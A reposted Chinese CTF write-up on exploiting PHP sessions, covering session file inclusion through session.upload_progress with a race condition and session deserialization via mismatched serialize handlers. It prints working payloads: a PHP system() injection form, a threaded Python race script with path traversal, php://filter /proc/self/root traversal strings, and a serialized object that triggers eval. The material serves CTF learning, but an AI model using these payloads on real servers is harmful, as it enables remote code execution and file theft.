php网络安全session利用的小思路
前言
做题的时候经常考到session利用,常见的基本就两种,session文件包含和session反序列化,之前没有详细总结过,就写写吧。
session文件包含
php.ini
session的相关配置
session.upload_progress.enabled = on //enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ; session.upload_progress.prefix = "upload_progress_" //将表示为session中的键名 session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" //当它出现在表单中,php将会报告上传进度,而且它的值可控!!! session.use_strict_mode = off //这个选项默认值为off,表示我们对Cookie中sessionid可控!!! session.save_path = /var/lib/php/sessions //session的存贮位置,默认还有一个 /tmp/目录
当session相关配置如上的时候,我们可以利用session.upload_progress
将恶意语句写入session文件,从而包含session文件。
平常,当我们要创建session时往往会在php代码里写session_start()
,但我们不写的话,也是可以创建的。
比如,在php.ini中设置session.auto_start=On
的情况下,php在接收请求的时候会自动初始化session,不需要执行session_start()
。但默认状态下,这个选项是默认关闭的。
不过幸好,session还有一个默认选项,session.use_strict_mode
默认值为0。
这样用户是可以自己定义session ID的。比如,我们在cookie里设置PHPSESSID=AndyNoel,就会在服务器/tmp
目录下或者/var/lib/php/sessions/
目录下创建一个文件:sess_AndyNoel。即便没有设置自动初始化session,php也会产生session,并生成一个键值,这个键值由ini.get("session.upload_progress.prefix")
+我们构造的session.upload_progress.name
值组成,最后被一起写入sess_文件里。
[WMCTF 2020]Make PHP Great Again
<?php highlight_file(__FILE__); require_once "flag.php"; if(isset($_GET["file"])) { require_once $_GET["file"]; } //Please hack me with your 0day!
很容易发现存在一个文件包含漏洞,但找不到能包含的恶意文件,那我们就可以往session里面写入恶意内容,然后包含它。
session维持
按照上面说的思路创建好session后,问题又来了,那就是在php.ini往往还有一条设置
session.upload_progress.cleanup = on //表示当文件上传结束后,php将会立即清空对应session文件中的内容
默认配置session.upload_progress.cleanup = on
导致文件上传后,session文件内容立即清空,清空了就没办法利用了。我们要想办法把session留在里面,所以就要利用条件竞争,在session文件内容清空前进行文件包含利用。
方法一 | 借助Burp Suite
可以在本地写一个上传页面,然后抓包添加Cookie: PHPSESSID=AndyNoel
,再用BurpSuite爆破
<!DOCTYPE html> <html> <body> <form action="http://localhost/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system("cat flag.php");?>" /> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html>
一边不断发包请求包含恶意的session,一边不断发包以维持恶意session存储。这样就可以利用条件竞争把恶意内容留在session里面了。
方法二 | python脚本
原理和上面的差不多,但是我们直接编写脚本,写shell、取flag一把梭出来,用不着那么麻烦了
import io import sys import requests import threading sessid = "AndyNoel" def WRITE(session): while True: f = io.BytesIO(b"a" * 1024 * 50) session.post( "http://localhost/index.php", data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system("cat flag.php");?>"}, files={"file":("1.txt", f)}, cookies={"PHPSESSID":sessid} ) def READ(session): while True: resp = session.get(f"http://localhost/index.php/?file=../../../../../../../../tmp/sess_{sessid}") if "flag{" in resp.text: print(resp.text) sys.exit(0) else: print("Thinking[+++++++]") with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start() READ(session)
方法三(非预期) | 伪协议配合多级符号链接的办法进行绕过。
在这里有个小知识点,/proc/self
指向当前进程的/proc/pid/
,/proc/self/root/
是指向/
的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过。
payload: ?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
另外一个payload
?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php
session反序列化
选择不同的处理器,处理方式也不一样,如果序列化和储存session与反序列化的方式不同,就有可能导致漏洞的产生。
Jarvis OJ WEB PHPINFO
<?php ini_set("session.serialize_handler", "php"); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = "phpinfo();"; } function __destruct() { eval($this->mdzz); } } if(isset($_GET["phpinfo"])) { $m = new OowoO(); } else { highlight_string(file_get_contents("index.php")); } ?>
如果只看php代码,其实我们是找不到参数可控的地方的,所以通过什么方法来进行反序列化呢?session.serialize_handler
session.serialize_handler (string)
用来定义序列化/反序列化的处理器名字。 当前支持 PHP 序列化格式 (名为 php_serialize)、 PHP PHP 内部格式 (名为 php 及 php_binary) 和 WDDX (名为 wddx)。 如果 PHP 编译时加入了 WDDX 支持,则只能用 WDDX。 php_serialize
在内部简单地直接使用serialize/unserialize
函数,并且不会有 php 和 php_binary 所具有的限制。 使用较旧的序列化处理器导致 $_SESSION 的索引既不能是数字也不能包含特殊字符(| and !) 。
可以看一下这个题目环境的phpinfo,在session部分
默认session.serialize_handler
为php_serialize
,而这里却设置为php:
这样就很明显了,因为处理器对应的处理格式不同导致出现session反序列化漏洞
但还是不够,因为我们还是没办法控制变量,翻看PHP手册有个有意思的地方:
既然如此,我们可以去看看有关session的php.ini的设置
ession.upload_progress.enabled = on
session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS
设置是这样的话,我们就可以构造反序列化了。
<?php class OowoO { public $mdzz="var_dump(scandir("/opt/lampp/htdocs/"));";//从phpinfo看见的 } $obj = new OowoO(); echo serialize($obj); ?>
O:5:"OowoO":1:{s:4:"mdzz";s:40:"var_dump(scandir("/opt/lampp/htdocs/"));";}
为了防止双引号转义,所以要处理一下,在双引号前面加,所以应该是这样
O:5:"OowoO":1:{s:4:"mdzz";s:40:"var_dump(scandir("/opt/lampp/htdocs/"));";}
然后自己本地写一个提交页面:
<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ADNL" /> <input type="file" name="file" /> <input type="submit" /> </form>
抓包修改,在序列化的字符串前加 |,提交即可。
小结
session有关的安全性问题主要是文件包含和反序列化两个利用点,利用PHP_SESSION_UPLOAD_PROGRESS
可以绕过大部分过滤。
以上就是php网络安全session利用的小思路的详细内容,更多关于php网络安全session利用的资料请关注服务器之家其它相关文章!
原文链接:https://blog.csdn.net/kali_Ma/article/details/122371596
1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。